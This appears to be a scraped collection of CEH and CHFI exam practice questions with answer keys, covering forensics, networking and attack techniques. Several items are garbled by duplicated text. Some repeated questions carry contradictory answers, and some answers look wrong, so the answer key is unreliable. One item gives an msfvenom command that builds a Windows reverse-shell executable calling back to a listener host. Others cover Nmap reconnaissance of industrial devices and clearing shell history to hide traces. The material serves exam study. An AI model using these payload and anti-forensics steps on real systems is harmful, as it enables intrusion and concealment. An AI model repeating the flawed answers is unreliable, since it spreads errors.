After attending a CEH security seminar, you make a list of changes you would like to perform on your network to increase its security. One of the first things you change is to switch the RestrictAnonymous setting from 0 to 1 on your servers. This, as you were told, would prevent anonymous users from establishing a null session on the server. Using Userinfo tool mentioned at the seminar, you succeed in establishing a null session with one of the servers. Why is that? RestrictAnonymous must be set to "3" for complete security RestrictAnonymous must be set to "2" for complete security There is no way to always prevent an anonymous null session from establishing RestrictAnonymous must be set to "10" for complete security
RestrictAnonymous must be set to "2" for complete security
George was recently fired from his job as an IT analyst at Pitts and Company in Dallas Texas. His main duties as an analyst were to support the company Active Directory structure and to create network polices .George now wants to break into the company network by cracking some of company Active Directory structure and to create network polices. Which password cracking technique should George use in this situation? Brute force attack Rule-based attack Syllable attack Dictionary attack
Rule-based attack
George was recently fired from his job as an IT analyst at Pitts and Company in Dallas Texas. His main duties as an analyst were to support the company Active Directory structure and to create network polices. George now wants to break into the company network by cracking some ofcompany? Active Directory structure and to create network polices. George now wants to break into the company? network by cracking some of the service accounts he knows about. Which password cracking technique should George use in this situation? Dictionary attack Rule-based attack Brute force attack Syllable attack
Rule-based attack
What hashing method is used to password protect Blackberry devices? AES SHA-1 MD5 RC5
SHA-1
What type of attack sends SYN requests to a target system with spoofed IP addresses? Land Cross site scripting SYN flood Ping of death
SYN flood
What must be obtained before an investigation is carried out at a location? Modus operandi Habeas corpus Subpoena Search warrant
Search warrant
LBA (Logical Block Address) addresses data by allotting a ___________to each sector of the hard disk. Operating system number Sector number Sequential number Index number
Sequential number
The ____________________ refers to handing over the results of private investigations to the authorities because of indications of criminal activity. Silver-Platter Doctrine Kelly Policy Locard Exchange Principle Clark Standard
Silver-Platter Doctrine
You are assisting a Department of Defense contract company to become compliant with the stringent security policies set by the DoD. One such strict rule is that firewalls must only allow incoming connections that were first initiated by internal computers. What type of firewall must you implement to abide by this policy? Statefull firewall Application-level proxy firewall Packet filtering firewall Circuit-level proxy firewall
Statefull firewall
Syslog is a client/server protocol standard for forwarding log messages across an IP network. Syslog uses ___________to transfer log messages in a clear text format. You Answered FTP SMTP POP TCP
TCP
A computer forensic report is a report which provides detailed information on the complete forensics FALSE TRUE
TRUE
At the time of evidence transfer, both sender and receiver need to give the information about date and time of transfer in the chain of custody record. FALSE TRUE
TRUE
Log management includes all the processes and techniques used to collect, aggregate, and analyze computer-generated log messages. It consists of the hardware, software, network and media used to generate, transmit, store, analyze, and dispose of log data. FALSE TRUE
TRUE
Steganography is a technique of hiding a secret message within an ordinary message and extracting it at the destination to maintain the confidentiality of data. FALSE TRUE
TRUE
Web applications provide an Interface between end users and web servers through a set of web pages that are generated at the server-end or contain script code to be executed dynamically within the client Web browser. FALSE TRUE
TRUE
Buffer Overflow occurs when an application writes more data to a block of memory, or buffer, than the buffer is allocated to hold. Buffer overflow attacks allow an attacker to modify the_______________in order to control the process execution, crash the process and modify internal variables. Target remote access Target rainbow table Target SAM file Target process's address space
Target process's address space
What type of analysis helps to identify the time and sequence of events in an investigation? Relational Temporal Time-based Functional
Temporal
The offset in a hexadecimal code is: The first byte after the colon The 0x at the beginning of the code The last byte after the colon. The 0x at the end of the code
The 0x at the beginning of the code
The offset in a hexadecimal code is: The 0x at the end of the code The first byte after the colon The 0x at the beginning of the code The last byte after the colon
The 0x at the end of the code
Windows identifies which application to open a file with by examining which of the following? The File extension The file signature at the beginning of the file The file Signature at the end of the file The file attributes
The File extension
In conducting a computer abuse investigation you become aware that the suspect of the investigation is using ABC Company as his Internet Service Provider (ISP). You contact the ISP and request that they provide you assistance with your investigation. What assistance can the ISP provide? The ISP cannot conduct any type of investigations on anyone and therefore cannot assist you ISPs never maintain log files so they would be of no use to your investigation The ISP can investigate anyone using their service and can provide you with assistance The ISP can investigate computer abuse committed by their employees, but must preserve the privacy of their customers and therefore cannot assist you without a warrant
The ISP can investigate computer abuse committed by their employees, but must preserve the privacy of their customers and therefore cannot assist you without a warrant
When examining a file with a Hex Editor, what space does the file header occupy? The first several bytes of the file None, file headers are contained in the FATD. The last several bytes of the file One byte at the beginning of the file
The first several bytes of the file
why would you need to find out the gateway of a device when investigating a wireless attack? The gateway will be the IP used to manage the RADIUS server The gateway will be the IP of the attacker computerThe gateway will be the IP of the attacker? computer The gateway will be the IP of the proxy server used by the attacker to launch the attack The gateway will be the IP used to manage the access point
The gateway will be the IP used to manage the access point
You have been asked to investigate the possibility of computer fraud in the finance department of a company. It is suspected that a staff member has been committing finance fraud by printing cheques that have not been authorized. You have exhaustively searched all data files on a bitmap image of the target computer, but have found no evidence. You suspect the files may not have been saved. What should you examine next in this case? The registry The swapfile The metadata The recycle bin
The swapfile
If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude? The system has been compromised using a t0rn rootkit The system administrator has created an incremental backup The system files have been copied by a remote attacker Nothing in particular as these can be operational files
The system has been compromised using a t0rn rootkit
You have used a newly released forensic investigation tool, which doesnt meet the Daubert Test, during a case. The case has ended-up in court. What argument could the defense make to weaken your case? The tool hasn’t been tested by the International Standards Organization (ISO) Only the local law enforcement should use the tool The total has not been reviewed and accepted by your peers You are not certified for using the tool
The total has not been reviewed and accepted by your peers
Attacker uses vulnerabilities in the authentication or session management functions such as d accounts, session IDs, logout, password management, timeouts, remember me. secret question, account update etc. to impersonate users, if a user simply closes the browser without logging out from sites accessed through a public computer, attacker can use the same browser later and exploit the user's privileges. Which of the following vulnerability/exploitation is referred above? I/O exploitation Timeout Exploitation Session ID in URLs Password Exploitation
Timeout Exploitation
Why would a company issue a dongle with the software they sell? To ensure that keyloggers cannot be used To provide wireless functionality with the software To provide source code protection To provide copyright protection
To provide copyright protection
Quality of a raster Image is determined by the _________________and the amount of information in each pixel. Image file size Image file format Compression method Total number of pixels
Total number of pixels
A steganographic file system is a method to store the files in a way that encrypts and hides the data without the knowledge of others True False
True
An attack vector is a path or means by which an attacker can gain access to computer or network resources in order to deliver an attack payload or cause a malicious outcome. True False
True
An expert witness is a witness, who by virtue of education, profession, or experience, is believed to have special knowledge of his/her subject beyond that of the average person, sufficient that others legally depend upon his/her opinion. True False
True
evidence in a civil case must be secured more tightly than in a criminal case True False
True
Daryl, a computer forensics investigator, has just arrived at the house of an alleged computer hacker. Daryl takes pictures and tags all computer and peripheral equipment found in the house. Daryl packs all the items found in his van and takes them back to his lab for further examination. At his lab, Michael his assistant helps him with the investigation. Since Michael is still in training, Daryl supervises all of his work very carefully.Michael is not quite sure about the procedures to copy all the data off the computer and peripheral devices. How many data acquisition tools should Michael use when creating copies of the evidence for the investigation? Three Four One Two
Two
When making the preliminary investigations in a sexual harassment case, how many investigators are you recommended having? Two Three Four One
Two
What must an investigator do before disconnecting an iPod from any type of computer? Disjoin the iPod Join the iPod Unmount the iPod Mount the iPod
Unmount the iPod
Which of the following commands checks for valid users on an SMTP server? RCPT CHK VRFY EXPN
VRFY
A picture file is recovered from a computer under investigation. During the investigation process, the file is enlarged 500% to get a better view of its contents.The picture quality is not degraded at all from this process. What kind of picture is this file its contents? Vector image Metafile image Raster image Catalog image.
Vector image
Which of the following statements is incorrect when preserving digital evidence? Document the actions and changes that you observe in the monitor, computer, printer, or in other peripherals Remove the power cable depending on the power state of the computer i.e., in on. off, or in sleep mode Turn on the computer and extract Windows event viewer log files Verily if the monitor is in on, off, or in sleep mode
Verily if the monitor is in on, off, or in sleep mode
Harold is a computer forensics investigator working for a consulting firm out of Atlanta Georgia. Harold is called upon to help with a corporate espionage case in Miami Florida.Harold assists in the investigation by pulling all the data from the computers allegedly used in the illegal activities. He finds that two suspects in the company where stealing sensitive corporate information and selling it to competing companies. From the email and instant messenger logs recovered, Harold has discovered that the two employees notified the buyers by writing symbols on the back of specific stop signs. This way, the buyers knew when and where to meet with the alleged suspects to buy the stolen material. What type of steganography did these two suspects use? Grill cipher Visual cipher Text semagram Visual semagram
Visual semagram
Taylor, a security professional, uses a tool to monitor her company's website, analyze the website's traffic, and track the geographical location of the users visiting the company's website. Which of the following tools did Taylor employ in the above scenario? Webroot Web-Stat WebSite-Watcher WAFW00F
Web-Stat
In the context of file deletion process, which of the following statement holds true? In the context of file deletion process, which of the following statement holds true? Secure delete programs work by completely overwriting the file in one go While booting, the machine may create temporary files that can delete evidence The longer a disk is in use, the less likely it is that deleted files will be overwritten
While booting, the machine may create temporary files that can delete evidence
In the context of file deletion process, which of the following statement holds true? While booting, the machine may create temporary files that can delete evidence The longer a disk is in use, the less likely it is that deleted files will be overwritten When files are deleted, the data is overwritten and the cluster marked as available Secure delete programs work by completely overwriting the file in one go
While booting, the machine may create temporary files that can delete evidence
Paraben Lockdown device uses which operating system to write hard drive data?Paraben? Lockdown device uses which operating system to write hard drive data? Mac OS Unix Red Hat Windows
Windows
Which device in a wireless local area network (WLAN) determines the next network point to which a packet should be forwarded toward its destination? Wireless modem Wireless router Antenna Mobile station
Wireless router
An "idle" system is also referred to as what? PC not being used Bot Zombie PC not connected to the Internet
Zombie
Diskcopy is: a standard MS-DOS command a utility by AccessData dd copying tool Digital Intelligence utility
a standard MS-DOS command
What is the name of the standard Linux command that can be used to create bit-stream images? dd MD5 image mcopy
dd
Jim, a professional hacker, targeted an organization that is operating critical industrial infrastructure. Jim used Nmap to scan open ports and running services on systems connected to the organization's OT network. He used an Nmap command to identify Ethernet/IP devices connected to the Internet and further gathered information such as the vendor name, product code and name, device name, and IP address. Which of the following Nmap commands helped Jim retrieve the required information? nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p < Port List > < Target IP > nmap -Pn -sU -p 44818 --script enip-info < Target IP > nmap -Pn -sT -p 46824 < Target IP > nmap -Pn -sT -p 102 --script s7-info < Target IP >
nmap -Pn -sU -p 44818 --script enip-info < Target IP >
Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are encountered. John decided to perform a TCP SYN ping scan on the target network. Which of the following Nmap commands must John use to perform the TCP SYN ping scan? nmap -sn -PO < target IP address > nmap -sn -PS < target IP address > nmap -sn -PA < target IP address > nmap -sn -PP < target IP address >
nmap -sn -PS < target IP address >
To calculate the number of bytes on a disk, the formula is: CHS** number of cylinders x number of halves x number of shims x 512 bytes per sector number of cylinders x number of heads x number of sides x 512 bytes per sector number of cells x number of heads x number of sides x 512 bytes per sector number of circles x number of halves x number of sides x 512 bytes per sector
number of cylinders x number of heads x number of sides x 512 bytes per sector
Before you are called to testify as an expert, what must an attorney do first? prove that the tools you used to conduct your examination are perfect read your curriculum vitae to the jury engage in damage control qualify you as an expert witness
qualify you as an expert witness
What method of computer forensics will allow you to trace all ever-established user accounts on a Windows 2000 server the course of its lifetime? forensic duplication of hard drive analysis of volatile data comparison of MD5 checksums review of SIDs in the Registry
review of SIDs in the Registry
Task list command displays a list of applications and services with their Process ID (PID) for all tasks running on either a local or a remote computer.Which of the following task list commands provides information about the listed processes, including the image name, PID, name, and number of the session for the process? tasklist/V tasklist/p tasklist/u tasklist/s
tasklist/V
E-mail logs contain which of the following information to help you in your investigation?(Select up to 4) date and time the message was sent unique message identifier attachments sent with the e-mail message contents of the e-mail message user account that was used to send the account
user account that was used to send the account
Where is the default location for Apache access logs on a Linux computer? usr/logs/access_log logs/usr/apache/access_log bin/local/home/apache/logs/access_log usr/local/apache/logs/access_log
usr/local/apache/logs/access_log
Harold is a security analyst who has just run the rdisk /s command to grab the backup SAM file on a computer. Where should Harold navigate on the computer to find the file? %systemroot%\repair %systemroot%\system32\LSA %systemroot%\LSA %systemroot%\system32\drivers\etc
%systemroot%\repair
To check for POP3 traffic using Ethereal, what port should an investigator search by? 25 110 143 125
110
Which federal computer crime law specifically refers to fraud and related activity in connection with access devices like routers? 18 U.S.C. 2511 18 U.S.C. 1029 18 U.S.C. 2703 18 U.S.C. 1362
18 U.S.C. 1029
You should make at least how many bit-stream copies of a suspect drive? 2 3 1 4
2
At what layer of the OSI model do routers function on? 4 1 3 5
3
If an attacker's computer sends an IPID of 31400 to a zombie computer on an open port in IDLE scanning, what will be the response? 31402 The zombie will not send a response 31399 31401
31401
When reviewing web logs, you see an entry for esource not found?in the HTTP status code field. What is the actual error code that you wouldWhen reviewing web logs, you see an entry for ?esource not found?in the HTTP status code field. What is the actual error code that you would see in the log for esource not found?see in the log for ?esource not found? 404 202 999 606
404
What is the port to block first in case you are suspicious that an IoT device has been compromised? 22 48101 80 443
48101
When investigating a Windows System, it is important to view the contents of the page or swap file because: A Large volume of data can exist within the swap file of which the computer user has no knowledge This is the file that windows use to store the history of the last 100 commands that were run from the command line This is file that windows use to communicate directly with Registry Windows stores all of the systems configuration information in this file
A Large volume of data can exist within the swap file of which the computer user has no knowledge
If you come across a sheepdip machine at your client site, what would you infer? A sheepdip computer is used only for virus-checking. A sheepdip computer is another name for a honeypot A sheepdip computer defers a denial of service attack A sheepdip coordinates several honeypots
A sheepdip computer is used only for virus-checking.
What encryption technology is used on Blackberry devices?Password Keeper? 3DES AES RC5 Blowfish
AES
At what stage of the cyber kill chain theory model does data exfiltration occur? Weaponization Actions on objectives Command and control Installation
Actions on objectives
When you are running a vulnerability scan on a network and the IDS cuts off your connection, what type of IDS is being used? Progressive IDS NIPS Passive IDS Active IDS
Active IDS
The network users are complaining because their systems are slowing down. Further, every time they attempt to go to a website, they receive a series of pop-ups with advertisements. What type of malware have the systems been infected with? Trojan Spyware Virus Adware
Adware
At what layer does a cross site scripting attack occur on? Presentation Application Session Data Link
Application
Internet Protocol Security IPsec is actually a suite pf protocols. Each protocol within the suite provides different functionality. Collective IPsec does everything except. Protect the payload and the headers Encrypt Work at the Data Link Layer Authenticate
Authenticate
Jacob is a computer forensics investigator with over 10 years experience in investigations and has written over 50 articles on computer forensics. He has been called upon as a qualified witness to testify the accuracy and integrity of the technical log files gathered in an investigation into computer fraud. What is the term used for Jacob testimony in this case?computer fraud. What is the term used for Jacob? testimony in this case? Certification Authentication Reiteration Justification
Authentication
What will the following command accomplish?dd if=/dev/xxx of=mbr. backup bs=512 count=1 Restore the master boot record Mount the master boot record on the first partition of the hard drive Back up the master boot record Restore the first 512 bytes of the first partition of the hard drive43.
Back up the master boot record
Damaged portions of a disk on which no read/Write operation can be performed is known as Lost sector Unused sector Bad sector Empty sector
Bad sector
John is investigating web-application firewall logs and observers that someone is attempting to inject the following: char buff[10]; buff[10] = 'a'; What type of attack is this? SQL injection Buffer overflow CSRF XSS
Buffer overflow
What is the common name for a vulnerability disclosure program opened by companies in platforms such as HackerOne? White-hat hacking program Bug bounty program Ethical hacking program Vulnerability hunting program
Bug bounty program
What type of flash memory card comes in either Type I or Type II and consumes only five percent of the power required by small hard drives? CF memory SD memory SM memory MMC memory
CF memory
The file content of evidence files can be viewed using the View Pane. The View pane provides several tabs to view file content. Which of this tab provides native views of formats supported by Oracle outside in technology? Text tab Hex tab Doc tab Picture tab
Doc tab
Shortcuts are the files with the extension links that are created and are accessed by the users. These files provide you with information about: System logs Running application Files or network shares Application logs
Files or network shares
Which of the following is not an example of a cyber-crime? Intellectual property theft, including software piracy Firing an employee for misconduct Fraud achieved by the manipulation of the computer records Deliberate circumvention of the computer security systems
Firing an employee for misconduct
What stage of the incident handling process involves reporting events? Follow-up Containment Identification Recovery
Identification
When operating systems mark a cluster as used but not allocated, the cluster is considered as_________ Unallocated Corrupt Lost Bad
Lost
Which of the following attacks allows attacker to acquire access to the communication channels between the victim and server to extract the information? Man-in-the-middle (MITM) attack Distributed network attack Rainbow attack Replay attack
Man-in-the-middle (MITM) attack
What is a first sector ("sector zero") of a hard disk? System boot record Master boot record Hard disk boot record Secondary boot record
Master boot record
Harold is finishing up a report on a case of network intrusion, corporate spying, and embezzlement that he has been working on for over six months. He is trying to find the right term to use in his report to describe network-enabled spying. What term should Harold use? Spycrack Spynet Netspionage Hackspionage
Netspionage
Which table is used to convert huge word lists (i .e. dictionary files and brute-force lists) into password hashes? Database tables Hash tables Master file tables Rainbow tables
Rainbow tables
Smith, an employee of a reputed forensic Investigation firm, has been hired by a private organization to investigate a laptop that is suspected to be involved in hacking of organization DC server. Smith wants to find all the values typed into the Run box in the Start menu. Which of the following registry key Smith will check to find the above information? UserAssist Key RunMRU key MountedDevices key TypedURLs key
RunMRU key
On an Active Directory network using NTLM authentication, where on the domain controllers are the passwords stored? SAM Password.conf Shadow file AMS
SAM
During a black-box pen test you attempt to pass IRC traffic over port 80/TCP from a compromised web enabled host. The traffic gets blocked; however, outbound HTTP traffic is unimpeded. What type of firewall is inspecting outbound traffic? Circuit Stateful Application Packet Filtering
Stateful
As a CHFI professional, which of the following is the most important to your professional reputation? The correct, successful management of each and every case The friendship of local law enforcement officers The free that you charge Your Certifications
The correct, successful management of each and every case
When examining the log files from a Windows IIS Web Server, how often is a new log file created? the same log is used at all times a new log file is created everyday a new log is created each time the Web Server is started a new log file is created each week
a new log file is created everyday
Which Intrusion Detection System (IDS) usually produces the most false alarms due to the unpredictable behaviors of users and networks? host-based IDS systems (HIDS) anomaly detection network-based IDS systems (NIDS) signature recognition
anomaly detection
What is the slave device connected to the secondary IDE controller on a Linux OS referred to? hdc hdd had hdb
hdd
What is the correct way of using MSFvenom to generate a reverse TCP shellcode for Windows? msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe msfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe > shell.exe
Which of the following commands shows you the NetBIOS name table each? nbtstat -n nbtstat -r nbtstat -s nbtstat -c
nbtstat -n
George is the network administrator of a large Internet company on the west coast. Per corporate policy, none of the employees in the company are allowed to use FTP or SFTP programs without obtaining approval from the IT department. Few managers are using SFTP program on their computers. Before talking to his boss, George wants to have some proof of their activity. George wants to use Ethereal to monitor network traffic, but only SFTP traffic to and from his network. What filter should George use in Ethereal? udp port 22 and host 172.16.28.1/24 src port 22 and dst port 22 net port 22 src port 23 and dst port 23
src port 22 and dst port 22
Corporate investigations are typically easier than public investigations because: the users can load whatever they want on their machines the users have standard corporate equipment and software the investigator has to get a warrant the investigator does not have to get a warrant
the investigator does not have to get a warrant
You start performing a penetration test against a specific website and have decided to start from grabbing all the links from the main page. What is the best Linux pipe to achieve your milestone? wget https://site.com | grep "<a href=\"http" | grep "site.com" curl -s https://site.com | grep "<a href=\"http" | grep "site.com" | cut -d "\"" -f 2 dirb https://site.com | grep "site" wget https://site.com | cut -d "http"
wget https://site.com | grep "<a href=\"http" | grep "site.com"
In handling computer-related incidents, which IT role should be responsible for recovery, containment, and prevention to constituents? Director of Information Technology *Network Administrator Director of Administration Security Administrator
*Network Administrator
Wi-Fi Protected Access (WPA) is a data encryption method for WLANs based on 802.11 standards. Temporal Key Integrity Protocol (TKIP) enhances WEP by adding a rekeying mechanism to provide fresh encryption and integrity keys. Temporal keys are changed for every____________. 10.000 packets 15,000 packets 20.000 packets 5,000 packets
10.000 packets
You setup SNMP in multiple offices of your company. Your SNMP software manager is not receiving data from other offices like it is for your main office. You suspect that firewall changes are to blame. What ports should you open for SNMP to work through Firewalls (Select 2) 162 161 163 160
162
How many sectors will a 125 KB file use in a FAT32 file system? 25 250 32 16
250
Given the drive dimensions as follows and assuming a sector has 512 bytes, what is the capacity of the described hard drive?22,164 cylinders/disk ,80 heads/cylinder,63 sectors/track 53.26 GB 10 GB 57.19 GB 11.17 GB
53.26 GB
Given the drive dimensions as follows and assuming a sector has 512 bytes, what is the capacity of the described hard drive?22,164 cylinders/disk80 heads/cylinder63 sectors/track 11.17 GB 57.19 GB 53.26 GB 10 GB
57.19 GB
If a file (readme.txt) on a hard disk has a size of 2600 bytes, how many sectors are normally allocated to this file? 6 Sectors 7 Sectors 4 Sectors 5 Sectors
6 Sectors
Jones had been trying to penetrate a remote production system for the past two weeks. This time however, he is able to get into the system. He was able to use the system for a period of three weeks. However law enforcement agencies were recording his every activity and this was later presented as evidence. The organization had used a virtual environment to trap Jones. What is a virtual environment? A honeypot that traps hackers An environment set up after the user logs in A system using Trojaned commands An environment set up before an user logs in
A honeypot that traps hackers
You have gained physical access to a Windows 2008 R2 server, which has an accessible disc drive. When you attempt to boot the server and log in, you are unable to guess the password. In your toolkit, you have an Ubuntu 9.10 Linux LiveCD. Which Linux-based tool can change any user's password or activate disabled Windows accounts? John the Ripper SET CHNTPW Cain & Abel
CHNTPW
Which response organization tracks hoaxes as well as viruses? NIPC CIAC FEDCIRC CERT
CIAC
Frank is working on a vulnerability assessment for a company on the West coast. The company hired Frank to assess its network security through scanning, pen tests, and vulnerability assessments. After discovering numerous known vulnerabilities detected by a temporary IDS he set up, he notices a number of items that show up as unknown but Questionable in the logs. He looks up the behavior on the Internet, but cannot find anything related. What organization should Frank submit the log to find out if it is a new vulnerability or not? CVE APIPA IANA RIPE
CVE
In a computer forensics investigation, what describes the route that evidence takes from the time you find it until the case is closed or goes to court? Policy of separation Chain of custody Law of probability Rules of evidence
Chain of custody
Your company's network just finished going through a SAS 70 audit. This audit reported that overall, your network is secure, but there are some areas that needs improvement.The major area was SNMP security. The audit company recommended turning off SNMP, but that is not an option since you have so many remote nodes to keep track of. What step could you take to help secure SNMP on your network? Block access to TCP port 171 Block access to UDP port 171 Block all internal MAC address from using SNMP Change the default community string names
Change the default community string names
What will the following Linux command accomplish? dd if=/dev/mem of=/home/sam/mem.bin bs=1024 Copy the master boot record to a file Copy the contents of the system folder em?to a fileCopy the contents of the system folder ?em?to a file Copy the running memory to a file Copy the memory dump file to an image file
Copy the running memory to a file
Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However, Jane has a long, complex password on her router. What attack has likely occurred? Wardriving Wireless sniffing Evil twin Piggybacking
Evil twin
File signature analysis involves collecting information from the __________ of a file to determine the type and function of the file First 30 bytes First 10 bytes First 40 bytes First 20 bytes
First 20 bytes
Don, a student, came across a gaming app in a third-party app store and installed it. Subsequently, all the legitimate apps in his smartphone were replaced by deceptive applications that appeared legitimate. He also received many advertisements on his smartphone after installing the app. What is the attack performed on Don in the above scenario? SIM card attack Clickjacking SMS phishing attack Agent Smith attack
Agent Smith attack
The rule of thumb when shutting down a system is to pull the power plug. However, it has certain drawbacks. Which of the following would that be? Any data not yet flushed to the system will be lost All running processes will be lost Power interruption will corrupt the pagefile The /tmp directory will be flushed
All running processes will be lost
Harold is a web designer who has completed a website for ghttech.net. As part of the maintenance agreement he signed with the client, Harold is performing research online and seeing how much exposure the site has received so far. Harold navigates to google.com and types in the following search. link:www.ghttech.net What will this search produce? All search engines that link to .net domains Sites that contain the code: link:www.ghttech.net All sites that ghttech.net links to All sites that link to ghttech.net
All sites that link to ghttech.net
Computer security logs contain information about the events occurring within an organization's systems and networks. Application and Web server log files are useful in detecting web attacks. The source, nature, and time of the attack can be determined by_________of the compromised system. Analyzing log files Analyzing hard disk boot records Analyzing SAM file Analyzing rainbow tables
Analyzing log files
When needing to search for a website that is no longer present on the Internet today but was online few years back, what site can be used to view the website collection of pages view the website collection of pages? Samspade.org Proxify.net Dnsstuff.com Archive.org
Archive.org
When needing to search for a website that is no longer present on the Internet today but was online few years back, what site can be used to view the website collection of pages?view the website? collection of pages? Archive.org Proxify.net Dnsstuff.com Samspade.org
Archive.org
A forensics investigator needs to copy data from a computer to some type of removable media so he can examine the information at another location. The problem is that the data is around 42GB in size. What type of removable media could the investigator use? HD-DVD Blu-Ray single-layer Blu-Ray dual-layer DVD-18
Blu-Ray dual-layer
What advantage does the tool Evidor have over the built-in Windows search? It can find deleted files even after they have been physically removed It can search slack space It can find bad sectors on the hard drive It can find files hidden within ADS
It can search slack space
You work as a penetration tester for Hammond Security Consultants. You are currently working on a contract for the state government of California. Your next step is to initiate a DoS attack on their network. Why would you want to initiate a DoS attack on a system you are testing? Show outdated equipment so it can be replaced List weak points on their network Use attack as a launching point to penetrate deeper into the network Demonstrate that no system can be protected against DOS attacks
List weak points on their network
Jason is the security administrator of ACMA metal Corporation. One day he notices the company's Oracle database server has been compromised and the customer information along with financial data has been stolen. The financial loss will be in millions of dollars if the database gets into the hands of the competitors. Jason wants to report this crime to the law enforcement agencies immediately. Which organization coordinates computer crimes investigations throughout the United States? CERT Coordination Center Local or national office of the U.S. Secret Service Internet Fraud Complaint Center National Infrastructure Protection Center
Local or national office of the U.S. Secret Service
If you are concerned about a high level of compression but not concerned about any possible data loss,what type of compression would you use? Lossy compression Time-loss compression Lossful compression Lossless compression
Lossy compression
If you see the files Zer0.tar.gz and copy.tar.gz on a Linux system while doing an investigation, what can you conclude? The system files have been copied by a remote attacker The system has been compromised using a t0rnrootkit The system administrator has created an incremental backup Nothing in particular as these can be operational files
Nothing in particular as these can be operational files
You are the network administrator for a small bank in Dallas, Texas. To ensure network security, you enact a security policy that requires all users to have 14 character passwords. After giving your users 2 weeks’ notice, you change the Group Policy to force 14 character passwords. A week later you dump the SAM database from the standalone server and run a password-cracking tool against it. Over 99% of the passwords are broken within an hour. Why were these passwords cracked so Quickly? The passwords that were cracked are local accounts on the Domain Controller Passwords of 14 characters or less are broken up into two 7-character hashes A password Group Policy change takes at least 3 weeks to completely replicate throughout a network Networks using Active Directory never use SAM databases, so the SAM database pulled was empty
Passwords of 14 characters or less are broken up into two 7-character hashes
An investigator is searching through the firewall logs of a company and notices ICMP packets that are larger than 65,536 bytes. What type of activity is the investigator seeing? Ping of death Smurf Fraggle Nmap scan
Ping of death
An Expert witness gives an opinion if: To stimulate discussion between the consulting expert and the expert witness To deter the witness form expanding the scope of his or her investigation beyond the requirements of the case The Opinion, inferences or conclusions depend on special knowledge, skill or training not within the ordinary experience of lay jurors To define the issues of the case for determination by the finder of fact
The Opinion, inferences or conclusions depend on special knowledge, skill or training not within the ordinary experience of lay jurors
When examining a file with a Hex Editor, what space does the file header occupy? One byte at the beginning of the file None, file headers are contained in the FAT The last several bytes of the file The first several bytes of the file
The first several bytes of the file
Profiling is a forensics technique for analyzing evidence with the goal of identifying the perpetrator from their various activity. After a computer has been compromised by a hacker, which of the following would be most important in forming a profile of the incident? The manufacturer of the system compromised The logic, formatting and elegance of the code used in the attack The logic, formatting and elegance of the code used in the attack The vulnerability exploited in the incident
The logic, formatting and elegance of the code used in the attack
When a file is deleted by Windows Explorer or through the MS-DOS delete command, the operating system inserts _______________ in the first letter position of the filename in the FAT database. A Capital X The lowercase Greek Letter Sigma (s) The Underscore Symbol A Blank Space
The lowercase Greek Letter Sigma (s)
Mobile phone forensics is the science of recovering digital evidence from a mobile phone under forensically sound conditions. True False
True
A friend of yours tells you that he downloaded and executed a file that was sent to him by a coworker. Since the file did nothing when executed, he asks you for help because he suspects that he may have installed a trojan on his computer. What tests would you perform to determine whether his computer is infected? ANSWER Upload the file to VirusTotal. You do not check; rather, you immediately restore a previous snapshot of the operating system. Use ExifTool and check for malicious content. Use netstat and check for outgoing connections to strange IP addresses or domains.
Upload the file to VirusTotal.
What is considered a grant of a property right given to an individual who discovers or invents a new machine, process, useful composition of matter or manufacture? Copyright Trademark Utility patent Design patent
Utility patent
Which is a standard procedure to perform during all computer forensics investigations? With the hard drive removed from the suspect PC, check the date and time in the system RAMWith the hard drive removed from the suspect PC, check the date and time in the system? RAM With the hard drive in the suspect PC, check the date and time in the system CMOSWith the hard drive in the suspect PC, check the date and time in the system? CMOS With the hard drive in the suspect PC, check the date and time in the File Allocation Table With the hard drive removed from the suspect PC, check the date and time in the system CMOS With the hard drive removed from the suspect PC, check the date and time in the system? CMOS
With the hard drive removed from the suspect PC, check the date and time in the system CMOS
By performing a penetration test, you gained access under a user account. During the test, you established a connection with your own machine via the SMB service and occasionally entered your login and password in plaintext. Which file do you have to clean to clear the password? .xsession-log .profile .bashrc .bash_history
.bash_history
Microsoft Outlook maintains email messages in a proprietary format in what type of file? .pst .doc .mail .email
.pst
Where are files temporarily written in Unix when printing? /spool /usr/spool /var/print /var/spool
/var/spool
With the standard Linux second extended file system (Ext2fs), a file is deleted when the inode internal link count reaches ______ 1 100 10 0
0
You are using DriveSpy, a forensic tool and want to copy 150 sectors where the starting sector is 1709 on the primary hard drive. Which of the following formats correctly specifies these sectors? 0:1709, 150 1:1709, 150 0:1709-1858 0:1000, 150
0:1709, 150
FAT32 is a 32-bit version of FAT file system using smaller clusters and results in efficient storage capacity. What is the maximum drive size supported? 1 terabytes 4 terabytes 2 terabytes 3 terabytes
2 terabytes
Tyler is setting up a wireless network for his business that he runs out of his home. He has followed all the directions from the ISP as well as the wireless router manual. He does not have any encryption set and the SSID is being broadcast. On his laptop, he can pick up the wireless signal for short periods of time, but then the connection drops and the signal goes away. Eventually the wireless signal shows back up, but drops intermittently. What could be Tyler issue with his home wireless network? 2.4Ghz Cordless phones Computers on his wired network CB radio Satellite television
2.4Ghz Cordless phones
